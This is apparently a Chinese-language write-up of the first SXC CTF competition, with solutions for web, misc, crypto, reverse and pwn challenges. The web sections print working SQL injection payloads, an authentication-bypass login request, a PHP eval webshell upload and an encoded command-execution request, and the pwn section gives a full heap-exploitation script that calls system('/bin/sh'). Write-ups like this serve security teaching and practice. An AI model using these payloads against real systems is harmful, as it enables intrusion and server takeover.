freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

第一届SXC CTF WP
2021-02-12 03:19:30

平台地址: sxc.starsnowsec.cn

签到题

看视频,后面肉眼可见flag

flag{Happy_New_Year_2021}

WEB

Base

image.png
打开网址可以看到,Sorry,you are not admin!you are Guest 根据思路可以判断当传参的加密值为admin是,可进行下一步
作为大佬,可能一眼就能认出是base64 改了编码表,但是还是给出了提示在robots.txt
image.png
访问base.txt
image.png
利用编码直接跑出值
我比较懒
直接放上大佬poc和wp
Base
爆破字典表

import requests,string

# print("{")
# for a in string.printable:
#     for b in "gwAQ":
#         res = requests.get("http://106.55.249.213:5001?user="+a+b).text
#         if len(res) == 33 and res[-1] in string.printable:
#             print("'%s':'%s',"%(res[-1],a+b))
# print("}")
dddd = {'o':'ag','p':'aw','m':'aA','n':'aQ','s':'bg','t':'bw','q':'bA','r':'bQ','w':'cg','x':'cw','u':'cA','v':'cQ','{':'dg','|':'dw','y':'dA','z':'dQ','}':'eA','~':'eQ','#':'Hg','$':'Hw','!':'HA','"':'HQ','\'':'Ig','(':'Iw','%':'IA','&':'IQ','+':'Jg',',':'Jw',')':'JA','*':'JQ','/':'Kg','0':'Kw','-':'KA','.':'KQ','3':'Lg','4':'Lw','1':'LA','2':'LQ','7':'Mg','8':'Mw','5':'MA','6':'MQ',';':'Ng','<':'Nw','9':'NA',':':'NQ','?':'Og','@':'Ow','=':'OA','>':'OQ','C':'Pg','D':'Pw','A':'PA','B':'PQ','G':'Qg','H':'Qw','E':'QA','F':'QQ','K':'Rg','L':'Rw','I':'RA','J':'RQ','O':'Sg','P':'Sw','M':'SA','N':'SQ','S':'Tg','T':'Tw','Q':'TA','R':'TQ','W':'Ug','X':'Uw','U':'UA','V':'UQ','[':'Vg','\\':'Vw','Y':'VA','Z':'VQ','_':'Wg','`':'Ww',']':'WA','^':'WQ','c':'Xg','d':'Xw','a':'XA','b':'XQ','g':'Yg','h':'Yw','e':'YA','f':'YQ','k':'Zg','l':'Zw','i':'ZA','j':'ZQ',}
for i in """1 union select 1,BINARY(flag) from flag_sxc""".replace(" ","/**/"):
if i in dddd:
print(dddd.get(i),end="")
else:
print("~~~no~~~")
?user=XAXwaAZAaQ&id=LAKgJQJQKgcAaQZAagaQKgJQJQKgbgYAZwYAXgbwKgJQJQKgLAJwXwXAbwXAXQXAbgYAIwJA
database() base

发现BINARY可以直接回显,不知道为什么反正很爽

1 union select 1,BINARY(table_schema) from information_schema.tables group by table_schema
base information_schema mysql performance_schema

1 union select 1,BINARY(table_name) from information_schema.tables where table_schema=database()
data flag_sxc

1 union select 1,BINARY(column_name) from information_schema.columns where table_name='flag_sxc'
flag

1 union select 1,BINARY(flag) from flag_sxc
flag{SXC is very funny!}

ClassCMS

可以直接下载源码,然后源码审计,根据提示escape($str)函数直接,全局定位到/class/cms/cms.php处1858行
image.png
可以看出来构成了sql注入
到后台登录出
image.png
登录抓包

POST /index.php/admin?do=admin:login HTTP/1.1
Host: 156.253.68.196
Content-Length: 28
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://156.253.68.196
Referer: http://156.253.68.196/index.php/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e
Connection: close

userhash=root' union select 1,'admin','admin','49faced8d2069292b0d415b9786cb06b',1,'admin'--&passwd=root

image.png
image.png
再次刷新
image.png
成功登录到后台,然后应用商店
image.png
随便找一个点击下载
image.png
然后再点击下载
image.png
记得抓一下返回包
image.png
可以看到一个http地址
浏览器打开之后会下载这个插件
image.png
提取打开之后

image.png
image.png

再php文件上添加一个小马
然后可以找到文件上传处
image.png
image.png
上传点
将刚刚打包好的文件上传,或者将文件上传到自己的服务器上也可以的
image.png
image.png
拿到地址

http://156.253.68.196/upload/20210209/37daa57f9af2bc.zip

然后将刚刚的上传地址改为刚才的那个
或者在这之后进行抓包修改地址,都可以的
image.png
image.png
然后跑到http://156.253.68.196/class/cache304/cache304.php 地方
这个文件已经上传了你的马子
image.png
然后我蚁剑连接时为乱码
image.png
然后我在开始时将system函数禁用,可以尝试绕过方法,例如
image.png
最后的payload为

POST /class/cache304/cache304.php HTTP/1.1
Host: 156.253.68.196
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://156.253.68.196
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://156.253.68.196/class/cache304/cache304.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_f62231=405d51fb24252a1528e5ed8fcbc0b636; csrf_f62231=26a8119e; token_326237=c56c95d8d1444c993a5d2e6082c32245; csrf_326237=5a9fed7c
Connection: close

1=%65%63%68%6f%20%60%63%64%20%43%3a%5c%55%73%65%72%73%5c%41%64%6d%69%6e%69%73%74%72%61%74%6f%72%5c%44%65%73%6b%74%6f%70%5c%43%6c%61%73%73%43%4d%53%26%26%74%79%70%65%20%66%6c%61%67%2e%70%68%70%60%3b
flag{I_Only_want_To_Say_Six_Six_Six}

Wechat

参考连接:https://blog.csdn.net/qq_41139830/article/details/80531802

反编译时,直接下载的小程序包需要改名字,后缀为wxapkg,(其他后缀我并没有试过,手动狗头)否则会报错

npm install
node wuWxapkg.js -d debug.wxapkg

反编译,在/pages/notes/notes.js发现

http://121.37.189.111:8055/upload_file.php

上传代码中过滤了<?
本来我想过滤掉eval和$_POST,assert等关键字,最后的考点为 ’ ` ’执行命令,时间紧迫,没有过多地过滤 : )
上传shell

POST /upload_file.php HTTP/1.1
User-Agent: PostmanRuntime/7.26.8
Accept: */*
Postman-Token: da10a4ef-d372-4f91-a38e-41006a0196bd
Host: 121.37.189.111:8055
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------419469736650736022214757
Content-Length: 257

----------------------------419469736650736022214757
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/png

<script language="php">@eval($_POST["hdxw"])</script>
----------------------------419469736650736022214757--
http://121.37.189.111:8055/upload/13b36bec63ddfe34d5ae32d0547e16a4.phtml

key:hdxw
根目录下假flag,在/var/www/html/flag.php得到真flag

flag{We_Chat_Upload_File_Is_Easy!}

Misc

Flag不在这

解法1:

直接搜文本

flag{It's_real_easy!D0_Y0u_Like_it?}

解法2:

压缩包打开文件,会发现flag.txt
打开就是flag

牛年大吉

查看文件属性,主题“不要不要不相信,上面标题就是的!!记得带英文的!哦”,标题“这个就是哦!”

flag{这个就是哦!}

网络深处

作为一个老赛棍一眼就看出了这是 2020-UNCTF-MISC-网络深处 的比赛原题,wp网上可查,flag也没变

flag{Y29pbA==}

打开压缩包,有3个文件
image.png

密文为:
636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871

把拨号音丢到audacity里,打开频谱分析
image.png
与该图对照
image.png
可以得出电话号码为: 15975384265
题目提示,电话号码就是ZIP密码,解压缩ZIP
又获取了一个电话录音.wav

继续丢到audacity里
切到屏幕分析,发现
image.png

原来加密方式是: Tupper自我指涉公式造图
image.png
找了一个在线加解密网站: https://tuppers-formula.ovh/

FLAG是 flag{Y29pbA==} 或者 flag{coil} (base64解密后)

拼图
montage拼接图片,提示内存什么的错误,最后用PS,拼在了一张图里
修改拼接后的图片大小,改为1200x1200

gaps --image=test.png --generation=30 --population=300 --size=120

一下就出来了
image.png
image.png

flag{123A4X5b6cLi}

Very very easy hex

循环解压

import zipfile
import os

def unzip(filePath,fileName,filePass="",encoding="gbk"):
    outFile = []
    zFile = zipfile.ZipFile(filePath+fileName, "r")
    for file in zFile.namelist():
        zFile.extract(file, filePath, pwd=filePass.encode(encoding))
        outFile.append(filePath+file)
    zFile.close()
    return file
for i in range(3200,1,-1):
    unzip("H:\\SXC\\img\\", str(i)+".zip")
    os.remove("H:\\SXC\\img\\"+str(i)+".zip")

最后得到168张黑图,跑了一下图片hash发现只有两种,且168正好是7的整数倍,最后得到二进制

转字符串得到flag
另外的提示中有0,0为坐标
image.png

#coding: utf-8
import zipfile

from PIL import Image


for x in range(1,200):
    image = Image.open("img/" + str(x) + ".png")
    r,g,b,a = image.getpixel((0,0)) #要识别像素的坐标
    if r == 0:
        print('1',end="")
    else:
        print('0',end="")
    pass

二进制转字符串得到

flag{D0_y0u_like_it?}

Love_it!

Wireshark“导出http对象”列表里找关键对象,可以看到整个过程是“扫后台-爆破后台密码-上传shell-命令执行”,找对应的流即可
flag{后台名称后台账号后台密码一句话木马名称一句话密码_第三个马子执行的命令}

flag{dede_admin_starsnowniubi_ma_yingzi_echo `whoami`;}

YLBNB

1 wireshark 打开 YLBNB.pcapng
过滤器开启

http.request.method == "POST"

image.png

发现xor.py
image.png

#coding:utf-8
import base64
from secret import key
file = open("YLBSB.docx", "rb")
enc = open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
    d = chr(c ^ ord(key[count % len(key)]))
    enc.write(d.encode())
    count = count + 1

发现secret.cpython-38.pyc
image.png

DUMP出来并反编译
image.png

获取KEY为key = 'YLBSB?YLBNB!'

发现YLBSB.ZIP
image.png

导出并解压缩,发现是一个YLBSB.xor 文件
image.png

现在已经很清晰了,
已知算法 xor.py ,秘钥key = 'YLBSB?YLBNB!' ,密文 YLBSB.xor
求明文YLBSB.docx。

给出py脚本如下\

key = 'YLBSB?YLBNB!'
enc = open("YLBSB.xor","rb")

flag = open("flag1.docx","wb")
plain = enc.read().decode()
count = 0
a=b''
for c in plain:
    #print(c)
    d = ord(c) ^ ord(key[count % len(key)])
    a+=bytes(d,)
    count = count + 1
    print(count)
flag.write(base64.b64decode(a))

最终生成文档
搜索flag
发现一串透明文字
image.png
加个红背景
image.png
FLAG是UNCTF{Best_YLB_Ever}

Crypto

esay_rsa

打开附件,如下:

from libnum import *
from Crypto.Util.number import *
e=16
p=getPrime(1024)
q=getPrime(2014)
m=open("flag.txt","r")
m=m.read()
phi=(p-1)*(q-1)
e=16
n=p*q
c=pow(m,e,n)
print(p,q)
print(c)
#179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171 129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
#2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292

加密类型为RSA,已经给出了p,q,e,但这里要注意的是e=16,是个合数,与phi=(p-1)*(q-1)之间可能存在公约数。可算出确实存在公约数,且为4.
故这样的私钥d就不存在。但由于e=16刚好为2的4次方,故我们可以想到Rabin算法,即:
C= me mod n
令m1=m(e/2)
则C=m12 mod n
使用Rabin算法可以求出四个可能的m1,继续使用相同的方法:
令m2=m1(1/2)=m**(e/4),又可以得出四个可能的m2,以此往后,循环4次
脚本如下:

from libnum import * 
from Crypto.Util.number import *
def Gcd(a,b):
 if a<b:
  a,b=b,a
 while(b!=0):
  tmp=a%b
  a=b
  b=tmp
 return a
def Rabin(c,p,q,n):
 mp=pow(c,(p+1)//4,p)
 mq=pow(c,(q+1)//4,q)
 yp=invmod(p,q)
 yq=invmod(q,p)
 r=(yp*p*mq+yq*q*mp)%n
 fr=n-r
 s=(yp*p*mq-yq*q*mp)%n
 fs=n-s
 return (r,fr,s,fs)
e=16
p=179339724246229843726779086497758086700767091942823382102884697671804799304652009167355556601254668595454468719362996895223198577570604382893112170906563827541309282210572274232294619880050319161575088535959209840362236242388298589816970890276440396102003032194498931444904045321511867770510618482963253444171 
q=129452010891691830141409340110903415892699564803510819611230128697000018597328039023549940695442548949477197670554474296663476556526956844201703892277849111159918130079993188297874083230421826432704150193965881475251551569007803579575294635406881373500519242104699767331003255332253689242203833528581342849543
c=2808687352764477098395390294961819217315835766406235505320171029927556669353148216977881915171651466299509767224192462948015834874984486165348031860747483578335393807164134429328527196534260381656710151946245376450723534200936105517142950677477408381688538476698011647690160341234578738276252465419868981865480237722922378366606827835972506973590707313723621953535237744085453112422520046215491391634375583932984581117857542239086424415712847637926466842915619897955952838264553358372055862162937724305897337642251117481658246011399468928899099485021249046029674378841452856157322899643045650367542092683227867005292
n=p*q
phi=(p-1)*(q-1)
pub=Gcd(e,phi)
print(pub)
d=invmod(1,phi)
print(d)
poss_c=[c]
for i in range(4):
 new_poss_c=[]
 for ct in poss_c:
  new_ct=Rabin(ct,p,q,n)
  new_poss_c.extend(list(new_ct))
 poss_c=set(new_poss_c)
print(poss_c)
for i in poss_c:
 print(long_to_bytes(i))

运行结果如下:
image.png

得到flag: flag{Y0u_D1D_1t!_7h4_R4bin?}

2.gap
打开附件,如下:
image.png
原文:

Ciphertext = "57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c" (hex) Key = "12312"

这里仔细注意可以发现’f’的存在有点特殊,可以将’f’作为分隔符分离字符串,再将十六进制与Key进行异或得到flag
脚本如下:

a="57f5ef52f56f49f0f53f2f50f3f50f3f52f10f6df68f2f46f6ef76f58f56f6cf50f6df76f2f3f55f6df76f5df51f4c"
b=a.split('f')
print(b)
table=''
for i in b:
    x=chr(int(('0x'+i),16))
    table+=x
    print(x,end='')

print("\n",len(table))
print(b)
index="12312"

for i in range(len(b)):
    x=chr(int(('0x'+b[i]),16)^ord(index[i%5]))
    print(x,end='')

运行之后,得到flag:

flag{1a1a1a1a!_Y0u_Did_a_G00d_Gob}

easy easy rsa

e = 65537
n1 = 12825100771257456077149964910605574628379912849150485275974020467902117235464130742121032530579724237866564791769251587583725631441489760720100057002948256344359458323465989937328959412299485905695960531657748731414339028199922429650835662666221800190685881209740102840495258149699357507420871994133381553002962266178100932214532054094696463627129336711033963381097413539659886146489405551742843204180033734977810683480542088934851102406520152543021307892757619684557961750000731528948222632469628321045924617868708870938946037379106714397519120005629351078109442687651029509686361054127744053158563626266699075075737
n2=12106667820155092651005980788681668939257714995685173260910711516508690589738399069362876916118479326569560356438772026406627666696459488677154928623481898279221763592991189674063719945636491539578401643457393148592966590912378623321315886510941581133207379498943442783133771909578755977685155060485627632310832382151388077346940192798438100540619466956848168872919742741008418429745589887364045046983841365071962255428055166475284027313634844775738922659401945163832045277387473402653688033772789419513303256030578783069827187965792213613558772834195874813704269442102682045669656446050452299378335318477524181485253
c1=1355386572112372850611036490966188175538987863527927779960990786002452575170634054152212358933763547055422759756027415133273832918485098947876171096276729416374754375351954023434636784414452074632079620319919916399472952978595188578240886468294826420444304995599277105894055963835188287235635124702371763798280974345092661352727696147636416880598697984896058201794475838054061012604762913331122089815538163372055678041274333240141855434364313862079318613288609268694638414313107742788496861764919534572555564813096923547764022387270411562081525314199522682854725378344260430282649981271048334528928379571310731841486
c2=4187980246417055670109574209914134920842728879790147759053902195578524923822173623172504926464305172283619697197398385414680370395194257777668782418463576167818360563481718399499794914649713155302730381449258353312689298898026896213681503805901805909523952463970468637528661785771438841120982593452996933730855072663395182215907870741391439468194834658733873078721153024127449124531077916463035731488854158195299285917169793645551008696190001511145682916315612709150405070977837592215815804308397385122772576945987613305629823072933891171331820743633516172878649931249873828674844504731893379037578087987573081245859

p=gmpy2.gcd(n1,n2)
print(long_to_bytes(m_cenp(c1,e,n1,p)))
b'flag{Very_easy_Rsa!}'

Hard RSA

#! /usr/bin/python2
# -*- coding: utf-8 -*-
import gmpy2

n1 = 17963064878219297499926539755529525701375912229028373100173473134607394789664287607368340798794683194437682952690508928886652995386383146889003406172408614571972729531812623495934448286040540097840662578369651592616783708165933036306017892497833364373485432426417809013633924450913331047907013191887482793788688736422653892662900369700701081539738763728230752094073294005560908179016172875213907812943500460207818071050071895019325622709305548027158608131204996083137774696224909740835744016252811508782404134677682054379270633099277445509293373814980267901088167711756798567438727515561927878122737404945310578048219
c1 = 2519784075571363990355801446319896012899269885206109823774950526790963683990153738128746190638393784786596405506731840240589533349004496866914346264165223649729391271273556253486062775839454219993404367212857109756953767455690796208791355456292865648813147954137342631589248190059107210837405220320124078796283385382994717993598412926549647978190991179177838292156516142496656655553613583148209957002024913648233539568864514049304210818483385640653620994626277688420873819215255064048179977060710057344959786809400706849894340484144098989681668420576351191631435372353088813222856086210998354107613629733847782962190
n2 = 18724308600993680772040132476147443059937062865510694686877532603079614680086774925762072671394784787691065784432778464228230479469525602116950506124178922966302228834351364607333986401435253287986565305219407269279319145851605536263946222693062150972421981977212241191765587924831341467136660852112059970632881164690431105960074159318822853545203221878413076459098980779367764115932851271974512575031047448816911420663521305894273613218483567916755598148798190932027939210902403155767487515702073721374684377875350047635848757189883075996002319631998930528597791545501045272097478778892159675588840857142652895265911
c2 = [3227115480108687251143827858010802848948769835037303555920483802259214819344453925631294417806432714176524195861938002549436386343852098195596387592472144546437874859798830812267011643855867112448231876484774166379425286268881326798711769931848606930434512049291154720821129654830620829493843059059835800242333615312846190103494997079811557982251508839708002883778910917631553992619052626191828854730582898255670700858011426887487070944722267353577011178466697504947762804170585435684678698950363434075952461947607646966414518037049739527149945887998812316417005423702083018805606242882095334884780205891592816168103L, 17139275485259110169718125211934888629708949924849742315041043571562307752055065297519271353044041441264892639110696891866965260187916302606640599942290472419225004160983308212078726494659784938191829066322525193057563553826485587827351089778042018829577434276292639964092632076137550347805354953807458891741631731341557365791973551073866525939105337652370251223107187937345980460911362790708353134912495192276504731259631723322913019046682545871283275754931576128656069033856416078373511440449107627433371949378696710812496517227289219196266427370667273925986284754478473526404645897976394395240810054198847661134728L]
c3 = [281487861809153, 49947026556362417]


#低加密指数攻击 得到e1,e2
e1 = gmpy2.iroot(c3[0],3)[0]
e2 = gmpy2.iroot(c3[1],3)[0]

#共模攻击 得到 p
s = gmpy2.gcdext(e1, e2)
s1,s2 = s[1],s[2]
enc1,enc2 = c2[0],c2[1]
if s1 < 0:
    s1 = -s1
    enc1 = gmpy2.invert(enc1, n2)
elif s2 < 0:
    s2 = -s2
    enc2 = gmpy2.invert(enc2, n2)
p = gmpy2.powmod(enc1, s1, n2) * gmpy2.powmod(enc2, s2, n2) % n2

#分解n1 得到 p,q解密
q = n1/p
d = gmpy2.invert(e1,(p-1)*(q-1))
m = gmpy2.powmod(c1,d,n1)
flag = hex(m)[2:].strip('L').decode('hex')
print(flag)

Reverse

Strange_Exe

查壳无壳,且为windows下64位的可执行文件。运行下程序:
image.png
输入key和flag后,程序闪退,拖入IDA64进行静态分析,但没有发现任何有用的信息,但注意到出现了py的字眼:
image.png
猜测位.py打包的exe文件,使用工具pyinstxtractor.py解包exe程序,如图:
image.png
得到一个解包后的文件夹,进入,找到struct.pyc和Strange_Exe.pyc文件,使用16进制编辑器打开,将struct.pyc的前16个直接复制到Strange_Exe.pyc文件中,再使用uncompyle6工具将pyc文件反编译位py文件,如下:
image.png
image.png
打开123.py文件,如下:

# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.7 (tags/v3.7.7:d7c567b08f, Mar 10 2020, 10:41:24) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: Strange_Exe.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes
from Crypto.Util.number import *
from libnum import *
import sys, re
n = 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001
e = 65537

def Encry(flag, key):
    if len(key) % 2 == 1:
        print('Key Length Error')
        sys.exit(1)
    n = len(key) // 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2 * n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    return encrypted
if __name__ == '__main__':
    enflag = '2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
    print('I just know the key is be encrypted by RSA >^<')
    print('the N  is ', 15918411597618586060819747211019232956301429853331119063072801656728732069058173301883340106111227136891697700232034340385517503821550316514509598828371567291927034209739579161420250942835300760062388388683188169078998354546275025404760856848035811909245927193924407780477406113027780914872953650371476667691551791247239685668919166440730836937493672795463806256420507804561520438130471758235055184762099437552550761799204089748301473669780929164521604329505281885488615659463842291867123824731574827544577691274853057214797150641644350863926042558265377144791076149523988466129940228982316552811117184433775196842001)
    print('the e  is ', e)
    print('the enkey is', 5245012035129826698183403080011445624613856052094715725373682276458248758771126394998534800902967048805562607357130318411192210685987107838816794834417355855833659383949900569538961590972391565753499233029524761954522186780031294040166860781444579756451023002734395369180904976153913515045576292688356629623726557075215355919441347362141761522428818516126532001416838975868466604383696324013723160613564724549146744670434353680461359576345948952804490469885471008440180876962116006206555145646287351475935581687169678110234891269143620201576816041518623263681993235742082804091430437091467240335038679328296670872451)
    mykey = input('input your key:')
    myflag = input('tell me your flag:')
    En = Encry(myflag, mykey)
    if En == enflag:
        print('congrulations!')
    else:
        print('Oh! you just need more trying')
        sys.exit(1)
# okay decompiling .\Strange_Exe.pyc

分析程序可以知道,通过输入key与flag,将key和flag经过Encry函数加密后得到密文En,若密文与enflag相等,则输入的flag即位我们想要的flag.分析加密函数:

def Encry(flag, key):
    if len(key) % 2 == 1:
        print('Key Length Error')
        sys.exit(1)
    n = len(key) // 2
    encrypted = ''
    for c in flag:
        c = ord(c)
        for a, b in zip(key[0:n], key[n:2 * n]):
            c = (ord(a) * c + ord(b)) % 251
        encrypted += '%02x' % c

    return encrypted

加密流程如下:
①将key分成等份的两组,并用zip打包成为一个元组
②将flag中的每一个元素c*key[0:n]+key[n:2n]
③将得到的数值转化为十六进制,形成字符串
这里直接分析,感觉要先将key解出来,已知key使用RSA加密的,给出了ckey与N,但是N暴力破解很难分解,几乎解不出key,仔细分析加密程序,可以发现虽然flag的每个元素都会经过很多次处理,但每个元素每次都进行了相同的处理,每次处理都是在群251下的仿射加密!因此,可以直接看为进行了一次仿射加密,写出解密算法即可得出flag.
解密脚本如下:

from Crypto.Util.number import *
from libnum import *
import sys
import re
enflag='2e8563bae171634602f946d76d46c810f946f34b9d46079d638585c4469d5e9d03'
enflag=re.findall('.{2}',enflag)
table=[]
for i in enflag:
    x=int('0x'+i,16)
    table.append(x)
lenflag=len(enflag)
print(lenflag,'\n',enflag)
print(table)
a=0
b=0
for i in range(1,252):
    for j in range(1,252):
        c1=(ord('f')*i + j)%251
        c2=(ord('l')*i + j)%251
        c3=(ord('a')*i + j)%251
        if c1==table[0] and c2==table[1] and c3==table[2]:
            a=i
            b=j
            break
if(a!=0 and b!=0):
 print("a:",a,"\tb:",b)
 inva=invmod(a,251)
 flag=[]
 for n in table:
     x=((n-b)*inva)%251
     flag.append(chr(x))
 print(''.join(flag))

运行后得到flag:

flag{Ha_It_is_N0t_7he_Really_eXe}

Very easy Reverse

pyinstxtractor解包,010Editor调整pyc头,uncompyle6反编译得到5.pyc源码,下面是flag周围部分代码

print_text(screen, font1, 30, 7, f"Spend: {score // 100}")
print_text(screen, font1, 450, 7, f"Score: {score}")
if score >= 10000:
 print('flag{Wow_So_Amazing!!}')
 game_over = True
if game_over:
 if start:
     print_text(screen, font2, (SCREEN_WIDTH - fwidth) // 2, (SCREEN_HEIGHT - fheight) // 2, 'GAME OVER', RED)
pygame.display.update()
flag{Wow_So_Amazing!!}

PWN

原谅我们没有pwn佬,只能找exp

#coding:utf-8
from pwn import *

def New(p, size):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('chunk:', str(size))

def Write(p, idx, content):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('index:', str(idx))
    p.sendafter('content:', content)
    sleep(0.3)

def Delete(p, idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('index:', str(idx))

def pwn():
    p = process('./pwn5')
    elf = ELF('./pwn5')
    context.log_level = 'debug'
    context.arch = 'amd64'
    #context.terminal = ['tmux', 'split', '-h']
    #gdb.attach(p)
    New(p, 0x60) # 0
    New(p, 0x60) # 1
    Delete(p, 0)
    Delete(p, 1)
    raw_input('1')
    Delete(p, 0)
    raw_input('2')

    New(p, 0x60) # 2 0
    raw_input('3')
    Write(p, 2, p64(0x60208d))  # 7f
    raw_input('4')

    New(p, 0x60) # 3 1
    New(p, 0x60) # 4 0
    New(p, 0x60) # 5 0x60208d
    raw_input('5')

    Write(p, 4, '/bin/sh\x00')   # 4 0
    raw_input('6')
    payload = '\x00' * 3 + p64(elf.got['free']) * 3   # pr : 0x6020a0
    raw_input('7')
    Write(p, 5, payload)    # 5 0x60208d

    raw_input('8')

    Write(p, 2, p64(elf.plt['system']))  # 0 

    raw_input('9')
    Delete(p, 4)  # 4
    raw_input('10')
    p.interactive()

    p.close()

if __name__ == '__main__':
    pwn()
# web安全 # CTF # misc
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者